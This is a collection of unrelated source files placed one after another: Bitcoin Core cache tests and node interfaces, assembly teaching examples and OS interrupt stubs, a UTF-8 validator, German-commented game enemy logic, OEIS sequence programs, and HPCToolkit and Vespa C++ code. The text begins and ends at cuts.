the fresh hit // rate is never below 99%, and the number of times that it is worse than // 99.9% are less than 1% of the time. double min_hit_rate = 0.99; double tight_hit_rate = 0.999; double max_rate_less_than_tight_hit_rate = 0.01; // A cache that meets this specification is therefore shown to have a hit // rate of at least tight_hit_rate * (1 - max_rate_less_than_tight_hit_rate) + // min_hit_rate*max_rate_less_than_tight_hit_rate = 0.999*99%+0.99*1% == 99.89% // hit rate with low variance. // We use deterministic values, but this test has also passed on many // iterations with non-deterministic values, so it isn't "overfit" to the // specific entropy in FastRandomContext(true) and implementation of the // cache. SeedInsecureRand(SeedRand::ZEROS); // block_activity models a chunk of network activity. n_insert elements are // added to the cache. The first and last n/4 are stored for removal later // and the middle n/2 are not stored. This models a network which uses half // the signatures of recently (since the last block) added transactions // immediately and never uses the other half. struct block_activity { std::vector<uint256> reads; block_activity(uint32_t n_insert, Cache& c) : reads() { std::vector<uint256> inserts; inserts.resize(n_insert); reads.reserve(n_insert / 2); for (uint32_t i = 0; i < n_insert; ++i) { uint32_t* ptr = (uint32_t*)inserts[i].begin(); for (uint8_t j = 0; j < 8; ++j) *(ptr++) = InsecureRand32(); } for (uint32_t i = 0; i < n_insert / 4; ++i) reads.push_back(inserts[i]); for (uint32_t i = n_insert - (n_insert / 4); i < n_insert; ++i) reads.push_back(inserts[i]); for (const auto& h : inserts) c.insert(h); } }; const uint32_t BLOCK_SIZE = 1000; // We expect window size 60 to perform reasonably given that each epoch // stores 45% of the cache size (~472k). const uint32_t WINDOW_SIZE = 60; const uint32_t POP_AMOUNT = (BLOCK_SIZE / WINDOW_SIZE) / 2; const double load = 10; const size_t megabytes = 4; const size_t bytes = megabytes * (1 << 20); const uint32_t n_insert = static_cast<uint32_t>(load * (bytes / sizeof(uint256))); std::vector<block_activity> hashes; Cache set{}; set.setup_bytes(bytes); hashes.reserve(n_insert / BLOCK_SIZE); std::deque<block_activity> last_few; uint32_t out_of_tight_tolerance = 0; uint32_t total = n_insert / BLOCK_SIZE; // we use the deque last_few to model a sliding window of blocks. at each // step, each of the last WINDOW_SIZE block_activities checks the cache for // POP_AMOUNT of the hashes that they inserted, and marks these erased. for (uint32_t i = 0; i < total; ++i) { if (last_few.size() == WINDOW_SIZE) last_few.pop_front(); last_few.emplace_back(BLOCK_SIZE, set); uint32_t count = 0; for (auto& act : last_few) for (uint32_t k = 0; k < POP_AMOUNT; ++k) { count += set.contains(act.reads.back(), true); act.reads.pop_back(); } // We use last_few.size() rather than WINDOW_SIZE for the correct // behavior on the first WINDOW_SIZE iterations where the deque is not // full yet. double hit = (double(count)) / (last_few.size() * POP_AMOUNT); // Loose Check that hit rate is above min_hit_rate BOOST_CHECK(hit > min_hit_rate); // Tighter check, count number of times we are less than tight_hit_rate // (and implicitly, greater than min_hit_rate) out_of_tight_tolerance += hit < tight_hit_rate; } // Check that being out of tolerance happens less than // max_rate_less_than_tight_hit_rate of the time BOOST_CHECK(double(out_of_tight_tolerance) / double(total) < max_rate_less_than_tight_hit_rate); } BOOST_AUTO_TEST_CASE(cuckoocache_generations) { test_cache_generations<CuckooCache::cache<uint256, SignatureCacheHasher>>(); } BOOST_AUTO_TEST_SUITE_END();
TITLE Endless Recursion (Endless.asm) INCLUDE Irvine32.inc .data endlessStr BYTE "This recursion never stops",0 .code main PROC call Endless exit main ENDP .code Endless PROC mov EDX,offset endlessStr call WriteString call Endless ret ; never reaches this Endless ENDP END main
; size_t strcspn(const char *s1, const char *s2) SECTION code_clib SECTION code_string PUBLIC strcspn_callee EXTERN asm_strcspn strcspn_callee: pop hl pop de ex (sp),hl jp asm_strcspn ; SDCC bridge for Classic IF __CLASSIC PUBLIC _strcspn_callee defc _strcspn_callee = strcspn_callee ENDIF
/*! * UTF-8 validate: UTF-8 validation for WebSockets. * Copyright(c) 2015 Einar Otto Stangvik <einaros@gmail.com> * MIT Licensed */ #include <nan.h> NAN_METHOD(isValidUTF8) { if (!node::Buffer::HasInstance(info[0])) { Nan::ThrowTypeError("First argument needs to be a buffer"); return; } uint8_t* s = reinterpret_cast<uint8_t*>(node::Buffer::Data(info[0])); size_t length = node::Buffer::Length(info[0]); uint8_t* end = s + length; // // This code has been taken from utf8_check.c which was developed by // Markus Kuhn <http://www.cl.cam.ac.uk/~mgk25/>. // // For original code / licensing please refer to // https://www.cl.cam.ac.uk/%7Emgk25/ucs/utf8_check.c // while (s < end) { if (*s < 0x80) { // 0xxxxxxx s++; } else if ((s[0] & 0xe0) == 0xc0) { // 110xxxxx 10xxxxxx if ( s + 1 == end || (s[1] & 0xc0) != 0x80 || (s[0] & 0xfe) == 0xc0 // overlong ) { break; } else { s += 2; } } else if ((s[0] & 0xf0) == 0xe0) { // 1110xxxx 10xxxxxx 10xxxxxx if ( s + 2 >= end || (s[1] & 0xc0) != 0x80 || (s[2] & 0xc0) != 0x80 || (s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || (s[0] == 0xed && (s[1] & 0xe0) == 0xa0) ) { break; } else { s += 3; } } else if ((s[0] & 0xf8) == 0xf0) { // 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx if ( s + 3 >= end || (s[1] & 0xc0) != 0x80 || (s[2] & 0xc0) != 0x80 || (s[3] & 0xc0) != 0x80 || (s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || // overlong (s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4 // > U+10FFFF ) { break; } else { s += 4; } } else { break; } } info.GetReturnValue().Set(Nan::New<v8::Boolean>(s == end)); } void init(v8::Local<v8::Object> exports, v8::Local<v8::Object> module) { Nan::SetMethod(module, "exports", isValidUTF8); } NODE_MODULE(validation, init)
// -------------------------------------------------------------------------------------- // Der Walker // // Läuft bis er an eine Wand kommt und kehrt dann um und schiesst, sobald er einen // bestimmten Abstand zum Spiel hat, geradeaus, läuft einen Schritt weiter, schiesst // wieder usw // -------------------------------------------------------------------------------------- #include "Gegner_Walker.hpp" #include "stdafx.hpp" // -------------------------------------------------------------------------------------- // Konstruktor // -------------------------------------------------------------------------------------- GegnerWalker::GegnerWalker(int Wert1, int Wert2, bool Light) { Handlung = GEGNER_LAUFEN; AnimStart = 0; AnimEnde = 11; AnimSpeed = 0.5f; xSpeed = 10.0f; ySpeed = 0.0f; xAcc = 0.0f; yAcc = 0.0f; Energy = 10; Value1 = Wert1; Value2 = Wert2; ChangeLight = Light; Destroyable = true; ShotDelay = 0.0f; } // -------------------------------------------------------------------------------------- // "Bewegungs KI" // -------------------------------------------------------------------------------------- void GegnerWalker::DoKI() { SimpleAnimation(); // Nach links bzw rechts auf Kollision prüfen und dann ggf umkehren if (BlickRichtung == LINKS) if (blockl & BLOCKWERT_WAND || blockl & BLOCKWERT_GEGNERWAND) { BlickRichtung = RECHTS; xSpeed = 10.0f; if (Handlung == GEGNER_WATSCHELN) Energy = 0; } if (BlickRichtung == RECHTS) if (blockr & BLOCKWERT_WAND || blockr & BLOCKWERT_GEGNERWAND) { BlickRichtung = LINKS; xSpeed = -10.0f; if (Handlung == GEGNER_WATSCHELN) Energy = 0; } blocku = TileEngine.BlockUnten(xPos, yPos, xPosOld, yPosOld, GegnerRect[GegnerArt]); // In Richtung Spieler laufen, wenn angeschossen // if (DamageTaken > 0 && Handlung != GEGNER_WATSCHELN && Handlung != GEGNER_SPRINGEN) { if (pAim->xpos < xPos) { BlickRichtung = LINKS; xSpeed = -10.0f; } else { BlickRichtung = RECHTS; xSpeed = 10.0f; } } // Spieler kann Walker auf die Birne hopsen // if (Handlung != GEGNER_WATSCHELN && Handlung != GEGNER_SPRINGEN) PlattformTest(GegnerRect[GegnerArt]); // Je nach Handlung richtig verhalten switch (Handlung) { case GEGNER_LAUFEN: // Normal laufen und dabei ab und zu schiessen { // Testen, ob der Walker runterfällt if (!(blocku & BLOCKWERT_WAND) && !(blocku & BLOCKWERT_PLATTFORM)) { Handlung = GEGNER_FALLEN; yAcc = 4.0f; } // Bei bestimmten Mindestabstand schiessen lassen if (PlayerAbstand() <= 220 && ((BlickRichtung == LINKS && pAim->xpos + 45 <= xPos) || (BlickRichtung == RECHTS && pAim->xpos - 45 >= xPos))) { ShotDelay -= 1.0f SYNC; if (ShotDelay <= 0.0f) { ShotDelay = static_cast<float>(10 + random(5)); AnimStart = 12; AnimPhase = 12; AnimEnde = 20; xSpeed = 0.0f; Handlung = GEGNER_SCHIESSEN; } } } break; case GEGNER_SCHIESSEN: // gegner schiesst auf den Spieler und läuft dann { xSpeed = 0.0f; if (AnimPhase == AnimStart && // Weiterlaufen AnimCount == 0.0f) { Handlung = GEGNER_LAUFEN; AnimStart = 0; AnimPhase = 0; AnimEnde = 11; xSpeed = float(10.0 * BlickRichtung); } // Schuss abgeben if (AnimPhase == 17 && AnimCount == 0.0f) { SoundManager.PlayWave(100, 128, 18000 + random(2000), SOUND_LASERSHOT); if (BlickRichtung == LINKS) Projectiles.PushProjectile(xPos - 18, yPos + 23, WALKER_LASER); else Projectiles.PushProjectile(xPos + 30, yPos + 23, WALKER_LASER2); } } break; case GEGNER_WATSCHELN: // Walker ist getroffen und haut ab { // Testen, ob der Walker runterfällt if (!(blocku & BLOCKWERT_WAND) && !(blocku & BLOCKWERT_PLATTFORM)) { Handlung = GEGNER_SPRINGEN; yAcc = 3.0f; } } break; case GEGNER_FALLEN: // Normal runterfallen { // Keine zu hohe Geschwindigkeit if (ySpeed > 25.0f) ySpeed = 25.0f; // Testen, ob der Walker auf den Boden kommt if (blocku & BLOCKWERT_WAND || blocku & BLOCKWERT_PLATTFORM) { Handlung = GEGNER_LAUFEN; yAcc = 0.0f; ySpeed = 0.0f; } } break; case GEGNER_SPRINGEN: // Getroffen fallen { // Keine zu hohe Geschwindigkeit if (ySpeed > 30.0f) ySpeed = 30.0f; // Testen, ob der Walker auf den Boden kommt if (ySpeed > 0.0f && (blocku & BLOCKWERT_WAND || blocku & BLOCKWERT_PLATTFORM)) { Handlung = GEGNER_WATSCHELN; yAcc = 0.0f; ySpeed = 0.0f; xSpeed = 25.0f * BlickRichtung; } } break; default: break; } // switch // Spieler kann dem Walker auf den Kopf springen for (int i = 0; i < NUMPLAYERS; i++) if (Player[i].Handlung != PlayerActionEnum::RADELN && Player[i].Handlung != PlayerActionEnum::RADELN_FALL && Player[i].yspeed >= 0.0f) { if (Player[i].AufPlattform == this) { // Spieler springen lassen Player[i].AufPlattform = nullptr; Player[i].JumpPossible = false; Player[i].AnimPhase = 2; Player[i].Handlung = PlayerActionEnum::SPRINGEN; Player[i].JumpStart = Player[i].ypos; Player[i].yspeed = -PLAYER_MAXJUMPSPEED; Player[i].JumpAdd = 0.0f; AnimSpeed = 0.3f; AnimPhase = 20; AnimStart = 20; AnimEnde = 31; Handlung = GEGNER_SPRINGEN; xSpeed = 0.0f; ySpeed = -30.0f; yAcc = 5.0f; SoundManager.PlayWave(100, 128, 11025, SOUND_WALKERGIGGLE); blocku = TileEngine.BlockUnten(xPos, yPos, xPosOld, yPosOld, GegnerRect[GegnerArt]); yPos -= 5.0f; } } // Testen, ob der Spieler den Walker berührt hat if (Handlung != GEGNER_WATSCHELN && Handlung != GEGNER_SPRINGEN) TestDamagePlayers(4.0f SYNC, false); } // -------------------------------------------------------------------------------------- // Walker explodiert // -------------------------------------------------------------------------------------- void GegnerWalker::GegnerExplode() { for (int i = 0; i < 5; i++) PartikelSystem.PushPartikel(float(xPos - 20 + random(45)), float(yPos - 20 + random(45)), EXPLOSION_MEDIUM2); SoundManager.PlayWave(100, 128, -random(2000) + 11025, SOUND_EXPLOSION1); // Sound ausgeben Player[0].Score += 100; }
; A134396: A007318 * A000125. ; Submitted by Jon Maiga ; 1,3,9,27,80,232,656,1808,4864,12800,33024,83712,208896,514048,1249280,3002368,7143424,16842752,39387136,91422720,210763776,482869248,1099956224,2492465152,5620367360,12616466432,28202500096,62797119488,139318001664,308029685760,678873268224,1491695828992,3268470112256,7142530613248,15569256448000,33857227194368,73461120630784,159051228905472,343666103156736,741139556597760,1595391371902976,3428277255405568,7354633278193664,15752703091146752,33689036275056640,71943244828639232,153421454493351936 mov $3,$0 mov $5,$0 add $5,1 lpb $5 mov $0,$3 mul $4,2 sub $5,1 sub $0,$5 mov $1,$3 bin $1,$0 div $0,2 bin $2,$0 mul $1,$2 add $4,$1 lpe mov $0,$4
;; ; wodOS Operating System ; Copyright © 2021-2022 wodOS Operating System Developers. All rights reserved. ; ; Use of this source code is governed by a BSD-style license that can be ; found in the LICENSE file. ; ; Contributor(s): ; - Ashwin Paudel <ashwonixer123@gmail.com> ;; [extern isr_handler] [extern irq_handler] %macro ISR 1 global isr%1 isr%1: push byte 0 push byte %1 jmp isr_common_stub %endmacro %macro ISR_ERR 1 global isr%1 isr%1: push byte %1 jmp isr_common_stub %endmacro %macro IRQ 2 global irq%1 irq%1: push byte %1 push byte %2 jmp irq_common_stub %endmacro %macro SAVE_CPU_STATE 0 pusha mov ax, ds push eax mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax %endmacro %macro RESTORE_CPU_STATE 0 pop ebx mov ds, bx mov es, bx mov fs, bx mov gs, bx popa add esp, 8 iret %endmacro ; Common ISR code isr_common_stub: SAVE_CPU_STATE push esp call isr_handler pop eax RESTORE_CPU_STATE irq_common_stub: SAVE_CPU_STATE push esp call irq_handler pop ebx RESTORE_CPU_STATE ISR 0 ; 0: Divide By Zero Exception ISR 1 ; 1: Debug Exception ISR 2 ; 2: Non Maskable Interrupt Exception ISR 3 ; 3: Int 3 Exception ISR 4 ; 4: INTO Exception ISR 5 ; 5: Out of Bounds Exception ISR 6 ; 6: Invalid Opcode Exception ISR 7 ; 7: Coprocessor Not Available Exception ISR_ERR 8 ; 8: Double Fault Exception (With Error Code!) ISR 9 ; 9: Coprocessor Segment Overrun Exception ISR_ERR 10 ; 10: Bad TSS Exception (With Error Code!) ISR_ERR 11 ; 11: Segment Not Present Exception (With Error Code!) ISR_ERR 12 ; 12: Stack Fault Exception (With Error Code!) ISR_ERR 13 ; 13: General Protection Fault Exception (With Error Code!) ISR_ERR 14 ; 14: Page Fault Exception (With Error Code!) ISR 15 ; 15: Reserved Exception ISR 16 ; 16: Floating Point Exception ISR 17 ; 17: Alignment Check Exception ISR 18 ; 18: Machine Check Exception ISR 19 ; 19: Reserved ISR 20 ; 20: Reserved ISR 21 ; 21: Reserved ISR 22 ; 22: Reserved ISR 23 ; 23: Reserved ISR 24 ; 24: Reserved ISR 25 ; 25: Reserved ISR 26 ; 26: Reserved ISR 27 ; 27: Reserved ISR 28 ; 28: Reserved ISR 29 ; 29: Reserved ISR 30 ; 30: Reserved ISR 31 ; 31: Reserved IRQ 0, 32 IRQ 1, 33 IRQ 2, 34 IRQ 3, 35 IRQ 4, 36 IRQ 5, 37 IRQ 6, 38 IRQ 7, 39 IRQ 8, 40 IRQ 9, 41 IRQ 10, 42 IRQ 11, 43 IRQ 12, 44 IRQ 13, 45 IRQ 14, 46 IRQ 15, 47
.file "project.c" .text .globl ConvertToCelsius .def ConvertToCelsius; .scl 2; .type 32; .endef .seh_proc ConvertToCelsius ConvertToCelsius: pushq %rbp .seh_pushreg %rbp movq %rsp, %rbp .seh_setframe %rbp, 0 .seh_endprologue movl %ecx, 16(%rbp) movl 16(%rbp), %eax subl $32, %eax pxor %xmm0, %xmm0 cvtsi2sd %eax, %xmm0 movsd .LC0(%rip), %xmm1 mulsd %xmm1, %xmm0 cvtsd2ss %xmm0, %xmm0 popq %rbp ret .seh_endproc .def __main; .scl 2; .type 32; .endef .section .rdata,"dr" .align 8 .LC1: .ascii "\12Enter temperature in Fahrenheit: \0" .LC2: .ascii "%d\0" .align 8 .LC3: .ascii "\12%d Fahrenheit = %.2f Celsius\12 \12\0" .align 8 .LC4: .ascii "\12Please enter valid length or width.\12 \0" .text .globl main .def main; .scl 2; .type 32; .endef .seh_proc main main: pushq %rbp .seh_pushreg %rbp movq %rsp, %rbp .seh_setframe %rbp, 0 subq $48, %rsp .seh_stackalloc 48 .seh_endprologue call __main leaq .LC1(%rip), %rcx call printf leaq -4(%rbp), %rax movq %rax, %rdx leaq .LC2(%rip), %rcx call scanf movl -4(%rbp), %eax testl %eax, %eax jle .L4 movl -4(%rbp), %eax movl %eax, %ecx call ConvertToCelsius cvtss2sd %xmm0, %xmm0 movl -4(%rbp), %eax movq %xmm0, %rdx movq %rdx, %r8 movq %rdx, %rcx movq %r8, %rdx movq %rcx, %xmm0 movq %rdx, %xmm2 movq %xmm0, %r8 movl %eax, %edx leaq .LC3(%rip), %rcx call printf jmp .L5 .L4: leaq .LC4(%rip), %rcx call puts .L5: movl $0, %eax addq $48, %rsp popq %rbp ret .seh_endproc .section .rdata,"dr" .align 8 .LC0: .long 1908874354 .long 1071761180 .ident "GCC: (x86_64-posix-seh-rev1, Built by MinGW-W64 project) 6.2.0" .def printf; .scl 2; .type 32; .endef .def scanf; .scl 2; .type 32; .endef .def puts; .scl 2; .type 32; .endef
; A064752: a(n) = n*6^n - 1. ; 5,71,647,5183,38879,279935,1959551,13436927,90699263,604661759,3990767615,26121388031,169789022207,1097098297343,7052774768639,45137758519295,287753210560511,1828079220031487,11577835060199423,73123168801259519,460675963447934975,2895677484529876991,18163795130232864767,113721152119718805503,710757200748242534399,4435124932669033414655,27634239965091669737471,171946382005014833922047,1068523945316877896515583,6632217591622000736993279,41119749068056404569358335,254677155518284828300541951 add $0,1 mov $2,6 pow $2,$0 mul $0,$2 sub $0,1
// -*-Mode: C++;-*- // * BeginRiceCopyright ***************************************************** // // $HeadURL: https://hpctoolkit.googlecode.com/svn/branches/hpctoolkit-hpcserver/src/tool/hpcserver/DebugUtils.hpp $ // $Id: DebugUtils.hpp 4317 2013-07-25 16:32:22Z felipet1326@gmail.com $ // // -------------------------------------------------------------------------- // Part of HPCToolkit (hpctoolkit.org) // // Information about sources of support for research and development of // HPCToolkit is at 'hpctoolkit.org' and in 'README.Acknowledgments'. // -------------------------------------------------------------------------- // // Copyright ((c)) 2002-2018, Rice University // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // * Neither the name of Rice University (RICE) nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // This software is provided by RICE and contributors "as is" and any // express or implied warranties, including, but not limited to, the // implied warranties of merchantability and fitness for a particular // purpose are disclaimed. In no event shall RICE or contributors be // liable for any direct, indirect, incidental, special, exemplary, or // consequential damages (including, but not limited to, procurement of // substitute goods or services; loss of use, data, or profits; or // business interruption) however caused and on any theory of liability, // whether in contract, strict liability, or tort (including negligence // or otherwise) arising in any way out of the use of this software, even // if advised of the possibility of such damage. // // ******************************************************* EndRiceCopyright * //*************************************************************************** // // File: // $HeadURL: https://hpctoolkit.googlecode.com/svn/branches/hpctoolkit-hpcserver/src/tool/hpcserver/DebugUtils.hpp $ // // Purpose: // [The purpose of this file] // // Description: // [The set of functions, macros, etc. defined in the file] // //*************************************************************************** #ifndef DEBUGUTILS_HPP_ #define DEBUGUTILS_HPP_ #include <sys/time.h> #include <iostream> using namespace std; #ifndef DEBUG #define DEBUG 0 #endif #define DEBUGCOUT(a) if (DEBUG > (a))\ cout #define LOGTIMESTAMPEDMSG(msg) \ {\ timeval t; \ t.tv_sec = 0; t.tv_usec = 0; \ gettimeofday(&t, NULL); \ clog << t.tv_sec*1000000 + t.tv_usec<<"\t" << msg << endl;\ } #endif /* DEBUGUTILS_HPP_ */
// Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #pragma once #include "attributeiterators.hpp" #include "load_utils.h" #include "loadednumericvalue.h" #include "multinumericenumattribute.h" #include <vespa/fastlib/io/bufferedfile.h> #include <vespa/searchlib/query/query_term_simple.h> #include <vespa/searchlib/queryeval/emptysearch.h> #include <vespa/searchlib/util/fileutil.hpp> namespace search { using fileutil::LoadedBuffer; template <typename B, typename M> MultiValueNumericEnumAttribute<B, M>:: MultiValueNumericEnumAttribute(const vespalib::string & baseFileName, const AttributeVector::Config & cfg) : MultiValueEnumAttribute<B, M>(baseFileName, cfg) { } template <typename B, typename M> void MultiValueNumericEnumAttribute<B, M>::loadAllAtOnce(AttributeReader & attrReader, size_t numDocs, size_t numValues) { LoadedVectorR loaded(numValues); bool hasWeight(attrReader.hasWeight()); for (uint32_t docIdx(0), valueIdx(0); docIdx < numDocs; ++docIdx) { const uint32_t currValueCount = attrReader.getNextValueCount(); for (uint32_t subIdx = 0; subIdx < currValueCount; ++subIdx) { loaded[valueIdx]._docId = docIdx; loaded[valueIdx]._idx = subIdx; loaded[valueIdx].setValue(attrReader.getNextData()); loaded[valueIdx].setWeight(hasWeight ? attrReader.getNextWeight() : 1); valueIdx++; } } attribute::sortLoadedByValue(loaded); this->load_posting_lists(loaded); loaded.rewind(); this->load_enum_store(loaded); attribute::sortLoadedByDocId(loaded); loaded.rewind(); this->fillValues(loaded); } template <typename B, typename M> bool MultiValueNumericEnumAttribute<B, M>::onLoadEnumerated(ReaderBase &attrReader) { auto udatBuffer = attribute::LoadUtils::loadUDAT(*this); uint32_t numDocs = attrReader.getNumIdx() - 1; uint64_t numValues = attrReader.getNumValues(); uint64_t enumCount = attrReader.getEnumCount(); assert(numValues == enumCount); (void) enumCount; this->setNumDocs(numDocs); this->setCommittedDocIdLimit(numDocs); this->_mvMapping.reserve(numDocs); if (this->hasPostings()) { auto loader = this->getEnumStore().make_enumerated_postings_loader(); loader.load_unique_values(udatBuffer->buffer(), udatBuffer->size()); loader.build_enum_value_remapping(); this->load_enumerated_data(attrReader, loader, numValues); if (numDocs > 0) { this->onAddDoc(numDocs - 1); } this->load_posting_lists_and_update_enum_store(loader); } else { auto loader = this->getEnumStore().make_enumerated_loader(); loader.load_unique_values(udatBuffer->buffer(), udatBuffer->size()); loader.build_enum_value_remapping(); this->load_enumerated_data(attrReader, loader); } return true; } template <typename B, typename M> bool MultiValueNumericEnumAttribute<B, M>::onLoad() { AttributeReader attrReader(*this); bool ok(attrReader.getHasLoadData()); if (!ok) { return false; } this->setCreateSerialNum(attrReader.getCreateSerialNum()); if (attrReader.getEnumerated()) { return onLoadEnumerated(attrReader); } size_t numDocs = attrReader.getNumIdx() - 1; uint32_t numValues = attrReader.getNumValues(); this->setNumDocs(numDocs); this->setCommittedDocIdLimit(numDocs); if (numDocs > 0) { this->onAddDoc(numDocs - 1); } this->_mvMapping.reserve(numDocs); loadAllAtOnce(attrReader, numDocs, numValues); return true; } template <typename B, typename M> AttributeVector::SearchContext::UP MultiValueNumericEnumAttribute<B, M>::getSearch(QueryTermSimple::UP qTerm, const attribute::SearchContextParams & params) const { (void) params; QueryTermSimple::RangeResult<T> res = qTerm->getRange<T>(); if (this->hasArrayType()) { if (res.isEqual()) { return std::make_unique<ArraySearchContext>(std::move(qTerm), *this); } else { return std::make_unique<ArraySearchContext>(std::move(qTerm), *this); } } else { if (res.isEqual()) { return std::make_unique<SetSearchContext>(std::move(qTerm), *this); } else { return std::make_unique<SetSearchContext>(std::move(qTerm), *this); } } } template <typename B, typename M> MultiValueNumericEnumAttribute<B, M>::SetSearchContext::SetSearchContext(QueryTermSimpleUP qTerm, const NumericAttribute & toBeSearched) : NumericAttribute::Range<T>(*qTerm), SearchContext(toBeSearched), _toBeSearched(static_cast<const MultiValueNumericEnumAttribute<B, M> &>(toBeSearched)) { } template <typename B, typename M> Int64Range MultiValueNumericEnumAttribute<B, M>::SetSearchContext::getAsIntegerTerm() const { return this->getRange(); } template <typename B, typename M> std::unique_ptr<queryeval::SearchIterator> MultiValueNumericEnumAttribute<B, M>::SetSearchContext::createFilterIterator(fef::TermFieldMatchData * matchData, bool strict) { if (!valid()) { return std::make_unique<queryeval::EmptySearch>(); } if (getIsFilter()) { return strict ? std::make_unique<FilterAttributeIteratorStrict<SetSearchContext>>(*this, matchData) : std::make_unique<FilterAttributeIteratorT<SetSearchContext>>(*this, matchData); } return strict ? std::make_unique<AttributeIteratorStrict<SetSearchContext>>(*this, matchData) : std::make_unique<AttributeIteratorT<SetSearchContext>>(*this, matchData); } template <typename B, typename M> std::unique_ptr<queryeval::SearchIterator> MultiValueNumericEnumAttribute<B, M>::ArraySearchContext::createFilterIterator(fef::TermFieldMatchData * matchData, bool strict) { if (!valid()) { return std::make_unique<queryeval::EmptySearch>(); } if (getIsFilter()) { return strict ? std::make_unique<FilterAttributeIteratorStrict<ArraySearchContext>>(*this, matchData) : std::make_unique<FilterAttributeIteratorT<ArraySearchContext>>(*this, matchData); } return strict ? std::make_unique<AttributeIteratorStrict<ArraySearchContext>>(*this, matchData) : std::make_unique<AttributeIteratorT<ArraySearchContext>>(*this, matchData); } template <typename B, typename M> MultiValueNumericEnumAttribute<B, M>::ArraySearchContext::ArraySearchContext(QueryTermSimpleUP qTerm, const NumericAttribute & toBeSearched) : NumericAttribute::Range<T>(*qTerm), SearchContext(toBeSearched), _toBeSearched(static_cast<const MultiValueNumericEnumAttribute<B, M> &>(toBeSearched)) { } template <typename B, typename M> Int64Range MultiValueNumericEnumAttribute<B, M>::ArraySearchContext::getAsIntegerTerm() const { return this->getRange(); } } // namespace search
// Copyright (c) 2018-2021 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <addrdb.h> #include <banman.h> #include <chain.h> #include <chainparams.h> #include <deploymentstatus.h> #include <external_signer.h> #include <init.h> #include <interfaces/chain.h> #include <interfaces/handler.h> #include <interfaces/node.h> #include <interfaces/wallet.h> #include <mapport.h> #include <net.h> #include <net_processing.h> #include <netaddress.h> #include <netbase.h> #include <node/blockstorage.h> #include <node/coin.h> #include <node/context.h> #include <node/transaction.h> #include <node/ui_interface.h> #include <policy/feerate.h> #include <policy/fees.h> #include <policy/policy.h> #include <policy/rbf.h> #include <policy/settings.h> #include <primitives/block.h> #include <primitives/transaction.h> #include <rpc/protocol.h> #include <rpc/server.h> #include <shutdown.h> #include <support/allocators/secure.h> #include <sync.h> #include <timedata.h> #include <txmempool.h> #include <uint256.h> #include <univalue.h> #include <util/check.h> #include <util/system.h> #include <util/translation.h> #include <validation.h> #include <validationinterface.h> #include <warnings.h> #if defined(HAVE_CONFIG_H) #include <config/bitcoin-config.h> #endif #include <any> #include <memory> #include <optional> #include <utility> #include <boost/signals2/signal.hpp> using interfaces::BlockTip; using interfaces::Chain; using interfaces::FoundBlock; using interfaces::Handler; using interfaces::MakeHandler; using interfaces::Node; using interfaces::WalletLoader; namespace node { namespace { #ifdef ENABLE_EXTERNAL_SIGNER class ExternalSignerImpl : public interfaces::ExternalSigner { public: ExternalSignerImpl(::ExternalSigner signer) : m_signer(std::move(signer)) {} std::string getName() override { return m_signer.m_name; } private: ::ExternalSigner m_signer; }; #endif class NodeImpl : public Node { private: ChainstateManager& chainman() { return *Assert(m_context->chainman); } public: explicit NodeImpl(NodeContext& context) { setContext(&context); } void initLogging() override { InitLogging(*Assert(m_context->args)); } void initParameterInteraction() override { InitParameterInteraction(*Assert(m_context->args)); } bilingual_str getWarnings() override { return GetWarnings(true); } uint32_t getLogCategories() override { return LogInstance().GetCategoryMask(); } bool baseInitialize() override { return AppInitBasicSetup(gArgs) && AppInitParameterInteraction(gArgs) && AppInitSanityChecks() && AppInitLockDataDirectory() && AppInitInterfaces(*m_context); } bool appInitMain(interfaces::BlockAndHeaderTipInfo* tip_info) override { return AppInitMain(*m_context, tip_info); } void appShutdown() override { Interrupt(*m_context); Shutdown(*m_context); } void startShutdown() override { StartShutdown(); // Stop RPC for clean shutdown if any of waitfor* commands is executed. if (gArgs.GetBoolArg("-server", false)) { InterruptRPC(); StopRPC(); } } bool shutdownRequested() override { return ShutdownRequested(); } void mapPort(bool use_upnp, bool use_natpmp) override { StartMapPort(use_upnp, use_natpmp); } bool getProxy(Network net, proxyType& proxy_info) override { return GetProxy(net, proxy_info); } size_t getNodeCount(ConnectionDirection flags) override { return m_context->connman ? m_context->connman->GetNodeCount(flags) : 0; } bool getNodesStats(NodesStats& stats) override { stats.clear(); if (m_context->connman) { std::vector<CNodeStats> stats_temp; m_context->connman->GetNodeStats(stats_temp); stats.reserve(stats_temp.size()); for (auto& node_stats_temp : stats_temp) { stats.emplace_back(std::move(node_stats_temp), false, CNodeStateStats()); } // Try to retrieve the CNodeStateStats for each node. if (m_context->peerman) { TRY_LOCK(::cs_main, lockMain); if (lockMain) { for (auto& node_stats : stats) { std::get<1>(node_stats) = m_context->peerman->GetNodeStateStats(std::get<0>(node_stats).nodeid, std::get<2>(node_stats)); } } } return true; } return false; } bool getBanned(banmap_t& banmap) override { if (m_context->banman) { m_context->banman->GetBanned(banmap); return true; } return false; } bool ban(const CNetAddr& net_addr, int64_t ban_time_offset) override { if (m_context->banman) { m_context->banman->Ban(net_addr, ban_time_offset); return true; } return false; } bool unban(const CSubNet& ip) override { if (m_context->banman) { m_context->banman->Unban(ip); return true; } return false; } bool disconnectByAddress(const CNetAddr& net_addr) override { if (m_context->connman) { return m_context->connman->DisconnectNode(net_addr); } return false; } bool disconnectById(NodeId id) override { if (m_context->connman) { return m_context->connman->DisconnectNode(id); } return false; } std::vector<std::unique_ptr<interfaces::ExternalSigner>> listExternalSigners() override { #ifdef ENABLE_EXTERNAL_SIGNER std::vector<ExternalSigner> signers = {}; const std::string command = gArgs.GetArg("-signer", ""); if (command == "") return {}; ExternalSigner::Enumerate(command, signers, Params().NetworkIDString()); std::vector<std::unique_ptr<interfaces::ExternalSigner>> result; for (auto& signer : signers) { result.emplace_back(std::make_unique<ExternalSignerImpl>(std::move(signer))); } return result; #else // This result is indistinguishable from a successful call that 